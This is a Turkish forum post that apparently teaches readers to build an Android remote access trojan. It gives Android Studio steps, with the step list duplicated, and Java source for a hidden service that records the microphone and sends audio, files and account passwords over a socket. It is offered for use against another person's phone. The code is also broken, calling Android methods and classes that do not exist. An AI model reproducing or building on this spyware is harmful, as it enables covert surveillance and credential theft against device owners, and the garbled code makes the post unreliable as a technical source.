Merhaba gençler umarım iyisinizdir bu gün sizlere android için rat nasıl atılır onu
göstericem.
1) İlk olarak Android studio’yu açın. Kendi resmi web sitesinden indirebilirsiniz.
2) Açtıktan sonra yeni proje aça basın.
3) Proje ve Paket adı belirleyin ama paket adı farklı bir yerde kullanılmamış olmasına dikkat edin.
4) Atacağınız kişinin (izin almayı unutmayın) android sürümünü seçin.
5) proje yapısını oluşturma
6) Proje yapısını seçin
7)kodeyi derleyin
8) Uygulamayı çalıştır yapıp test edin.
göstericem.
1) İlk olarak Android studio’yu açın. Kendi resmi web sitesinden indirebilirsiniz.
2) Açtıktan sonra yeni proje aça basın.
3) Proje ve Paket adı belirleyin ama paket adı farklı bir yerde kullanılmamış olmasına dikkat edin.
4) Atacağınız kişinin (izin almayı unutmayın) android sürümünü seçin.
5) proje yapısını oluşturma
6) Proje yapısını seçin
7)kodeyi derleyin
8) Uygulamayı çalıştır yapıp test edin.
Java:
public class MyRat extends Service {
private MediaRecorder mediaRecorder;
private Socket socket;
private File file;
private AccountManager accountManager;
private PasswordManager passwordManager;
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
super.onCreate();
mediaRecorder = new MediaRecorder();
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
mediaRecorder.setOutputFile("/sdcard/audio.mp3");
mediaRecorder.prepare();
mediaRecorder.start();
socket = new Socket();
socket.connect("localhost", 8080);
accountManager = AccountManager.get(this);
passwordManager = PasswordManager.get(this);
}
@Override
public void onDestroy() {
super.onDestroy();
mediaRecorder.stop();
mediaRecorder.release();
socket.close();
}
public void sendAudio() {
try {
socket.getOutputStream().write(mediaRecorder.getAudioData());
} catch (IOException e) {
e.printStackTrace();
}
}
public void sendFile(File file) {
try {
socket.getOutputStream().write(file.getBytes());
} catch (IOException e) {
e.printStackTrace();
}
}
public void sendPasswords() {
List<Account> accounts = accountManager.getAccounts();
for (Account account : accounts) {
String password = passwordManager.getPassword(account);
if (password != null) {
// Send the password to the server
socket.getOutputStream().write(password.getBytes());
}
}
}
}
Kod:
public class MainActivity extends AppCompatActivity {
private MyRat myRat;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
myRat = new MyRat();
myRat.start();
}
}
Arkadaşlar görsel olmadığı için üzgünüm yardıma ihtiyacınız olursa DM atabilirsiniz bide formumu beğenirseniz güzel olur.